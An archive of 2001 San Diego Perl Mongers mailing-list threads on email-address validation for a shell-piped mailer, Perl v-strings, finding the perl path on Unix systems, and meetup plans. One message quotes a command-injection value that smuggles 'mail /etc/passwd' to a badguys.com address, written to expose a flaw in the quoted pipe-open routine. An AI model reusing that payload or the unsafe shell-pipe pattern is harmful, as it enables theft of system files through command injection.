~sdpm~ Eugene Tsyrklevich wrote: > and how about > $ARGV[0] = "oops\" dev\@null.com; mail /etc/passwd me\@badguys.com;\""; > Agreed. It's a bad bad thing to use system mailers, mostly because you never know if you've checked for every possible hack. It's much better (from a performance perspective and a cross-platform perspective, too) to use one of the socket-based Mail modules and send mail through an SMTP server. If the modules aren't to your liking, just open the socket yourself. SMTP is a very simple protocol. Mail::Sendmail seems like a fairly simple one to use. See http://alma.ch/perl/Mail-Sendmail-FAQ.htm for details. ~chris ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From faqchest at abac.com Sat Nov 17 18:18:14 2001 From: faqchest at abac.com (The FAQchest) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE References: <3BF43B84.27FC68DA@BigPlanet.com> <3BF60DAC.5B3904A3@abac.com> <20011117091050.A6381@securityarchitects.com> Message-ID: <3BF6FE46.26129547@abac.com> ~sdpm~ Yes, true. ... this is why there is $MLISTAPPL and not simply "mail", as in my case it's my own SMTP mailer. as Chris, and you, points out: no IO must be done without controlling all passed parameters. I strongly recommend the reading of: http://www.phrack.org/show.php?p=55&a=7 Luckily, this document that has been out there for quite a while can still be found. I wish you good reading. Thierry Eugene Tsyrklevich wrote: > > ~sdpm~ > and how about > $ARGV[0] = "oops\" dev\@null.com; mail /etc/passwd me\@badguys.com;\""; > > On Fri, Nov 16, 2001 at 11:11:39PM -0800, The FAQchest wrote: > > Ken, here is an excerpt of a script doing at one time some mail notification. > > > > I've adopted a paranoid approach each time I have to deal with system or > > apps call using an open () command. I enclose the whole routine in an > > eval{}. If the mail server (MTA) has whatsoever troubles (most of the > > time network/DNS) and crahes, the calling script doesn't die, just the eval. > > > > In more secured scripts, I use an alarm signal to include some timeout > > control on this IO. > > > > You see there are a certain numer of regexp to make sure tha e-mail > > addresses are ok. > > > > Thierry > > > > > > > > sub clearspaces { > > return (0) unless (my ($instr) = @_); > > $instr =~ s,^[ \t\f]+,,; > > $instr =~ s,[ \t\f\r]+\n$,,; > > $instr =~ s,[ \t\f]+, ,g; > > return $instr; > > } > > > > sub mail_notification { > > print "Trying to mail the commit message ...\n"; > > return (0) unless (my @text = @_); > > > > my $emregexp = '([\w-_.]+)@(([\w-_]+[.])+[a-zA-Z]+[ ,]?)'; > > my $subject = &clearspaces ("cvs commit: $ARGV[0]"); > > my $mailto = &clearspaces ($MAIL_TO); > > $mailto =~ s/[\s]+/,/g; > > $mailto =~ s,\\,,g; > > $mailto =~ tr/A-Z/a-z/; > > return (0) unless ($mailto =~ /^($emregexp)+$/); > > print " ... Done mailing the message ...\n"; > > > > eval { # don't let the main apps crashing on this IO > > open (MAIL, "| $MLISTAPPL -s \"$subject\" $mailto") || return (0); > > print (MAIL join("\n", @text)); > > close (MAIL); > > } > > } ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From dweinr1 at home.com Sun Nov 18 12:02:03 2001 From: dweinr1 at home.com (David Weinrich) Date: Thu Aug 5 00:20:29 2004 Subject: Fun with v-strings ( or version-0-rama ) Message-ID: <20011118100202.A506@cx1002407-c.escnd1.sdca.home.com> After the meeting this week, I decided to do a little reading up on vstrings. They have now been promoted from 'slightly odd' to 'really really weird' in my book. Here is a quick program that tests conversion to/from vstrings ( using version strings from the CVS $Revision:$ tag ). It looks like line 33 is a fairly consistent way to convert versions as strings to v-strings. David Weinrich -------------- next part -------------- #!/usr/bin/perl -w # Test to see how strings/numbers are converted to vstrings: # # A number that has no '.' ( 1 ) remains a string... # A number that has one '.' ( 1.1 ) remains a string... # A number that has more than one '.' is converted to a v-string @versions = ( 1, 1.1, 1.1.1, 11.0.1, 10.0.0, 11.0.2 ); # Prints out the two strings as their numeric ascii values ( 1 = 49, . = 46 ) # The rest were converted to vstrings and sort/print as expected foreach $v ( sort @versions ) { printf "Version: %vd\n", $v; } # Stolen in part from Simon Cozens in the p5p roundup for 8/27/2001 # with another part stolen from the last SDPM meeting $vstring = join '', map chr, split (/[.]/, qw$Revision: 1.11.1$[1]); printf "Hex: %vx\n", $vstring; printf "Decimal: %vd\n", $vstring; printf "Octal: %vo\n", $vstring; printf "Binary: %vb\n", $vstring; # Hrm, can we get the numbers out directly with an unpack? @parts = unpack "U*", $vstring; # Yup print "@parts\n"; # A final shortcut, uses a fairly improbable ( but I guess still # possible ) version to test whether the vstring is stored as # UTF-8 ( looks like the answer is yes ). $vstring2 = pack "U*", split /[.]/, qw$Revision: 2573.1111$[1]; printf "Decimal: %vd\n", $vstring2; From todd.rockhold at ontogen.com Mon Nov 19 09:33:42 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:29 2004 Subject: Exemple shell script to wrap PERL Message-ID: <01Nov19.074113pst.118082@gateway.ontogen.com> ~sdpm~ For what it's worth, I have a pretty generic SunOS 5.8 installation. "which perl" shows "/usr/bin/perl". -----Original Message----- From: The FAQchest [mailto:faqchest@abac.com] Sent: Friday, November 16, 2001 11:13 PM To: san-diego-pm-list@happyfunball.pm.org Subject: Re: Exemple shell script to wrap PERL ~sdpm~ "Wilson, Doug" wrote: > > ~sdpm~ > > > From: The FAQchest [mailto:faqchest@abac.com] > > > > During last night's meeting, Joel asked for a way to universally > > determine the absolute path to PERL in order to create a generic PERL > > script that would run as CGI on a large variety of systems, of course > > with various PERL installations. > > > > Here is a sample script. Let us know if it works well on your > > architecture. > > I'd change one thing, this line: > perl_loc=`which perl | grep perl | sed -e 's,/perl,,'` > > wouldn't work for perls installed in /opt/perl5/bin, or > for me either because I have perl installed in a really > strange place that has '/perl' in the middle of the > path, so I'd change that to: > perl_loc=`which perl | grep perl | sed -e 's,/perl$,,'` Actually you're totally right. Let's go for it. Indeed, I've added /opt/perl5/bin for the HPUX implementations. I don't have a SunOS system at hand right now. SunOS also uses a /opt partition. Perl may be found here too. > And on one system I've seen, 'which' was spelled 'whence' (don't > ask me which one, I don't remember (and its rather uncommon > anyway) :) whence is also used in HPUX. I have a vague souvenir of either one (type,which,whence) being in fact an alias to one other with a switch. I'll check on Monday. -Thierry > > > PS: The new location for the meeting is awesome. Thanks! > > I agree :-) > > -Doug ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From Doug_Wilson at intuit.com Mon Nov 19 11:14:05 2001 From: Doug_Wilson at intuit.com (Wilson, Doug) Date: Thu Aug 5 00:20:29 2004 Subject: Exemple shell script to wrap PERL Message-ID: <35A280DF784CD411A06B0008C7B130AD0115DE05@sdex04.sd.intuit.com> ~sdpm~ > From: Todd Rockhold [mailto:todd.rockhold@ontogen.com] > ~sdpm~ > For what it's worth, I have a pretty generic SunOS 5.8 installation. > > "which perl" shows "/usr/bin/perl". We're using SunOS also, and a link is installed at /usr/local/bin/perl which points to /opt/perl/bin/perl -Doug ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Mon Nov 19 11:59:32 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:29 2004 Subject: Exemple shell script to wrap PERL Message-ID: <01Nov19.100700pst.118082@gateway.ontogen.com> ~sdpm~ We really don't have a sysadmin for the box, so I guess that's me. I mounted the installation CD and just selected defaults to get the operating system and platform software installed, so I have a "maximally naive" installation. I can understand that a "real sysadmin" might want to have it in /opt/perl/bin/perl. Also, the default installation gave us perl 5.005_3. Maybe you have 5.6 or later in /opt/perl/bin/perl? -----Original Message----- From: Wilson, Doug [mailto:Doug_Wilson@intuit.com] Sent: Monday, November 19, 2001 9:14 AM To: 'Todd Rockhold'; san-diego-pm-list@happyfunball.pm.org Subject: RE: Exemple shell script to wrap PERL ~sdpm~ > From: Todd Rockhold [mailto:todd.rockhold@ontogen.com] > ~sdpm~ > For what it's worth, I have a pretty generic SunOS 5.8 installation. > > "which perl" shows "/usr/bin/perl". We're using SunOS also, and a link is installed at /usr/local/bin/perl which points to /opt/perl/bin/perl -Doug ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From Doug_Wilson at intuit.com Mon Nov 19 13:50:30 2001 From: Doug_Wilson at intuit.com (Wilson, Doug) Date: Thu Aug 5 00:20:29 2004 Subject: Exemple shell script to wrap PERL Message-ID: <35A280DF784CD411A06B0008C7B130AD0115DE07@sdex04.sd.intuit.com> ~sdpm~ > From: Todd Rockhold [mailto:todd.rockhold@ontogen.com] > > ~sdpm~ > We really don't have a sysadmin for the box, so I guess that's me. I > mounted the installation CD and just selected defaults to get > the operating > system and platform software installed, so I have a "maximally naive" > installation. I can understand that a "real sysadmin" might > want to have it > in /opt/perl/bin/perl. > > Also, the default installation gave us perl 5.005_3. Maybe > you have 5.6 or > later in /opt/perl/bin/perl? Ha! I wish! :-) I've been trying for months now to get them to upgrade from 5.004, which is why I've got my own installation (5.6.1) off in a private directory, along with some useful modules that the sysadmin doesn't seem to have time to install (like DBI, XML parser, etc.). -Doug ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From faqchest at abac.com Thu Nov 22 10:12:13 2001 From: faqchest at abac.com (The FAQchest) Date: Thu Aug 5 00:20:29 2004 Subject: Exemple shell script to wrap PERL References: <01Nov19.100700pst.118082@gateway.ontogen.com> Message-ID: <3BFD23DD.689E6AD7@abac.com> ~sdpm~ Hello, Being sysadmin for several system, here is my rule of thumb: - Where ever Perl is physycally located on a machine, it is wise to have a link set at /usr/bin/perl _and_ /usr/local/bin/perl. - Setup the default PATH to include /usr/local/bin/ first then /usr/bin Note: depending on the systems, the /sbin partitions may have to be placed first in the PATH. type or which will return the first directory listed in the PATH envvar where it finds it. Depending on the systems, packages as large a PERL may show up in a special directory such as /opt. Installers usually copy (not link) the PERL binary to /usr (bin | local/bin). On old systems where PERL4 still exists, PERL4 _is_ located in full in /usr/somewhere and PERL5 is left in its compile directory. Perhaps the PERl 5 binary is named perl5 while PERL 4 is named perl. My scripts expect perl tp be by default in /usr/bin/perl. Then, I make sure a reference to perl exists in this place. Happy Thanksgiving, Thierry Todd Rockhold wrote: > > ~sdpm~ > We really don't have a sysadmin for the box, so I guess that's me. I > mounted the installation CD and just selected defaults to get the operating > system and platform software installed, so I have a "maximally naive" > installation. I can understand that a "real sysadmin" might want to have it > in /opt/perl/bin/perl. > > Also, the default installation gave us perl 5.005_3. Maybe you have 5.6 or > later in /opt/perl/bin/perl? > > -----Original Message----- > From: Wilson, Doug [mailto:Doug_Wilson@intuit.com] > Sent: Monday, November 19, 2001 9:14 AM > To: 'Todd Rockhold'; san-diego-pm-list@happyfunball.pm.org > Subject: RE: Exemple shell script to wrap PERL > > ~sdpm~ > > > From: Todd Rockhold [mailto:todd.rockhold@ontogen.com] > > > ~sdpm~ > > For what it's worth, I have a pretty generic SunOS 5.8 installation. > > > > "which perl" shows "/usr/bin/perl". > > We're using SunOS also, and a link is installed at > /usr/local/bin/perl which points to /opt/perl/bin/perl > > -Doug > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From JAdams at johnnyadams.com Fri Nov 23 13:24:38 2001 From: JAdams at johnnyadams.com (Johnny Adams) Date: Thu Aug 5 00:20:29 2004 Subject: Consultant needed for brief project Message-ID: <200111231124.AA404881764@mail.johnnyadams.com> ~sdpm~ Hi Do you, or do you know someone in San Diego who has a couple of hours on Saturday or Sunday to help me with some Perl? I've had lots of programming experience, need to do some relatively simple things and present on Monday. This could lead to other work of a larger scale. Pls call me at 949-887-3312 (fastest way for now), or Email me at JAdams@JohnnyAdams.com (don't reply to the list) Johnny ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From JAdams at johnnyadams.com Fri Nov 23 13:35:27 2001 From: JAdams at johnnyadams.com (Johnny Adams) Date: Thu Aug 5 00:20:29 2004 Subject: Brief Perl project Message-ID: <200111231135.AA406323556@mail.johnnyadams.com> ~sdpm~ Hi Do you, or do you know someone in San Diego who has a couple of hours on Saturday or Sunday (11/24 - 11/25) to help me with some Perl? I've had lots of programming experience, need to do some relatively simple things in Perl and present on Monday. I'd pay whatever is your going rate. This could lead to other work of a larger scale. Pls call me at 949-887-3312 (fastest way for now), or Email at JAdams@JohnnyAdams.com Johnny ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Fri Nov 23 19:31:57 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA Message-ID: ~sdpm~ Just in case there was any doubt... we'll be there in a little over two weeks... arriving tuesday, leaving friday. Would be good to get a SandyEggo.PM meeting together if we can pick compatible slots. -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Mon Nov 26 16:55:33 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA In-Reply-To: Message-ID: ~sdpm~ Does that mean you'll be hear the week of the 3rd or the 10th? We'll definitely try to get something together for our guests! On 23 Nov 2001, Randal L. Schwartz wrote: > ~sdpm~ > > Just in case there was any doubt... we'll be there in a little over > two weeks... arriving tuesday, leaving friday. Would be good to get a > SandyEggo.PM meeting together if we can pick compatible slots. > > -- > Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 > > Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. > See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. > > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Mon Nov 26 17:13:32 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA Message-ID: <01Nov26.152049pst.118082@gateway.ontogen.com> ~sdpm~ LISA proper is scheduled for the 5th, 6th, and 7th, so I am pretty sure Merlyn is talking about Tuesday the 4th and Friday the 7th. Of course, what Merlyn says is what counts. -----Original Message----- From: Bob Kleemann [mailto:rkleeman@energoncube.net] Sent: Monday, November 26, 2001 2:56 PM To: Randal L. Schwartz Cc: san-diego-pm-list@happyfunball.pm.org; bill@stonehenge.com Subject: Re: Bill and I are coming to Sandy Eggo for LISA ~sdpm~ Does that mean you'll be hear the week of the 3rd or the 10th? We'll definitely try to get something together for our guests! On 23 Nov 2001, Randal L. Schwartz wrote: > ~sdpm~ > > Just in case there was any doubt... we'll be there in a little over > two weeks... arriving tuesday, leaving friday. Would be good to get a > SandyEggo.PM meeting together if we can pick compatible slots. > > -- > Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 > > Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. > See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. > > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Mon Nov 26 18:07:08 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA In-Reply-To: References: Message-ID: ~sdpm~ >>>>> "Bob" == Bob Kleemann writes: Bob> Does that mean you'll be hear the week of the 3rd or the 10th? Bob> We'll definitely try to get something together for our guests! Arriving the afternoon of the 4th, LISA is 5th/6th/7th, staying in TJ evening of 7th and possibly 8th, then heading home. -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Thu Nov 29 13:34:36 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA In-Reply-To: Message-ID: ~sdpm~ OK, so let's get the ball rolling. Where are you guys staying and when do you think you'll be free on Thursday evening? On 23 Nov 2001, Randal L. Schwartz wrote: > ~sdpm~ > > Just in case there was any doubt... we'll be there in a little over > two weeks... arriving tuesday, leaving friday. Would be good to get a > SandyEggo.PM meeting together if we can pick compatible slots. > > -- > Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 > > Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. > See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. > > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Thu Nov 29 14:35:58 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA In-Reply-To: References: Message-ID: ~sdpm~ >>>>> "Bob" == Bob Kleemann writes: Bob> OK, so let's get the ball rolling. Bob> Where are you guys staying and when do you think you'll be free on Bob> Thursday evening? We're staying at the conference hotel... the Town and Country Resort. I think the exhibit hall closes at 6pm, so we should be available shortly after that. I have my car, so we can meet nearly anywhere. -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Fri Nov 30 12:29:35 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA In-Reply-To: Message-ID: ~sdpm~ The T&C is in Mission Valley, so let's plan to meet at Randal's Favorite restaurant, Hooters in Mission Valley (http://hooters.know-where.com/hooters/cgi/site?site=121&address=) We'll try and hook up about 7PM. Sound good to everyone? On 29 Nov 2001, Randal L. Schwartz wrote: > >>>>> "Bob" == Bob Kleemann writes: > > Bob> OK, so let's get the ball rolling. > Bob> Where are you guys staying and when do you think you'll be free on > Bob> Thursday evening? > > We're staying at the conference hotel... the Town and Country Resort. > I think the exhibit hall closes at 6pm, so we should be available > shortly after that. I have my car, so we can meet nearly anywhere. > > -- > Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 > > Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. > See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Fri Nov 30 12:47:31 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA Message-ID: <01Nov30.104848pst.118083@gateway.ontogen.com> ~sdpm~ Just double checking: that's THURSDAY night at 7PM, right? -----Original Message----- From: Bob Kleemann [mailto:rkleeman@energoncube.net] Sent: Friday, November 30, 2001 10:30 AM To: Randal L. Schwartz Cc: san-diego-pm-list@happyfunball.pm.org; bill@stonehenge.com Subject: Re: Bill and I are coming to Sandy Eggo for LISA ~sdpm~ The T&C is in Mission Valley, so let's plan to meet at Randal's Favorite restaurant, Hooters in Mission Valley (http://hooters.know-where.com/hooters/cgi/site?site=121&address=) We'll try and hook up about 7PM. Sound good to everyone? On 29 Nov 2001, Randal L. Schwartz wrote: > >>>>> "Bob" == Bob Kleemann writes: > > Bob> OK, so let's get the ball rolling. > Bob> Where are you guys staying and when do you think you'll be free on > Bob> Thursday evening? > > We're staying at the conference hotel... the Town and Country Resort. > I think the exhibit hall closes at 6pm, so we should be available > shortly after that. I have my car, so we can meet nearly anywhere. > > -- > Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 > > Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. > See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Fri Nov 30 12:51:18 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA In-Reply-To: References: Message-ID: ~sdpm~ >>>>> "Bob" == Bob Kleemann writes: Bob> The T&C is in Mission Valley, so let's plan to meet at Randal's Favorite Bob> restaurant, Hooters in Mission Valley Bob> (http://hooters.know-where.com/hooters/cgi/site?site=121&address=) I've never been to the Mission Valley one, though! Just the one downtown. Cool. Bob> We'll try and hook up about 7PM. 7pm thursday, right? Bob> Sound good to everyone? Works for me. -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Fri Nov 30 13:17:30 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:29 2004 Subject: Bill and I are coming to Sandy Eggo for LISA In-Reply-To: Message-ID: ~sdpm~ Whoops, I guess I should make that a little clearer: 7PM, Thursday, Dec 6: The San Diego Perl Monger hang with "local" legend Randal Schwartz. Start at Hooters in Mission Valley, end at ??? On 30 Nov 2001, Randal L. Schwartz wrote: > >>>>> "Bob" == Bob Kleemann writes: > > Bob> The T&C is in Mission Valley, so let's plan to meet at Randal's Favorite > Bob> restaurant, Hooters in Mission Valley > Bob> (http://hooters.know-where.com/hooters/cgi/site?site=121&address=) > > I've never been to the Mission Valley one, though! Just the one > downtown. Cool. > > Bob> We'll try and hook up about 7PM. > > 